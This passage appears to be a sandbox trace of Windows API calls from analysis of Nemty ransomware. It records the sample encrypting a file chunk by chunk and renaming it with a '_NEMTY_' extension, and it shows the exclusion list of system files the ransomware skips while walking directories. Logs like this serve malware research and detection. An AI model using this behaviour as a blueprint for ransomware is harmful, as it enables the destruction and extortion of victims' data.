pszString="X+J4fnxwRm6np5m5gw9X+k6ksmlT54OzEsdcOJaH+zgc0mOy9IcWRVJi0kGdWIoU\r\niKb+/AD+P9F9y8ej4TDZf5YXhgLKTMYvBn5kEVtwDQoU4nSRJsv5kobIQ09JmJqy\r\nfbjY+8xirJxn7J9725dbSjQ07Rqn0ar/YIBj60P22vsCMLAu/nS8TpOrZz/fC6Md\r\n0pBNDnFeC6XPJpZLlzOKL7oySyEC9RbUmuPunWSyl533SxuhjNNxy2IUlgxwr6ol\r\nz+bSfZZlKolHsFhYRlLFbcGmRTTT8FSYCBxnajNN+d33HdV22e6FIyhULiZsKHG7\r\nnsyC6F4k8nccOJSlI/lVDA==\r\n", pcchString=0x653f2dc) returned 1 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0051.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0051.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.369] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.370] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0051.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.478] CloseHandle (hObject=0xffffffff) returned 0 [0051.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91608 [0051.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94370 [0051.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x63401c0 [0051.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0051.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.478] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax._nemty_kgobjgd_")) returned 0 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91608 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.479] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".") returned 1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="..") returned 1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="...") returned 1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="windows") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="$RECYCLE.BIN") returned 1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="rsa") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="NTDETECT.COM") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="ntldr") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="MSDOS.SYS") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="IO.SYS") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="boot.ini") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="boot.ini") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="AUTOEXEC.BAT") returned 1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="ntuser.dat") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="desktop.ini") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="CONFIG.SYS") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="RECYCLER") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="BOOTSECT.BAK") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="bootmgr") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="programdata") returned -1 [0051.479] lstrcmpiW (lpString1="bod_r.TTF", lpString2="appdata") returned 1 [0051.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bod_r.TTF", lpUsedDefaultChar=0x0) returned 9 [0051.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bod_r.TTF", lpUsedDefaultChar=0x0) returned 9 [0051.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bod_r.TTF", lpUsedDefaultChar=0x0) returned 9 [0051.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bod_r.TTF", lpUsedDefaultChar=0x0) returned 9 [0051.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0051.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.480] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="..") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="...") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="windows") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="$RECYCLE.BIN") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="rsa") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="NTDETECT.COM") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="ntldr") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="MSDOS.SYS") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="IO.SYS") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="boot.ini") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="boot.ini") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="AUTOEXEC.BAT") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="ntuser.dat") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="desktop.ini") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="CONFIG.SYS") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="RECYCLER") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="BOOTSECT.BAK") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="bootmgr") returned 1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="programdata") returned -1 [0051.480] lstrcmpiW (lpString1="directshowtap.ax", lpString2="appdata") returned 1 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshowtap.ax", lpUsedDefaultChar=0x0) returned 16 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshowtap.ax", lpUsedDefaultChar=0x0) returned 16 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshowtap.ax", lpUsedDefaultChar=0x0) returned 16 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, 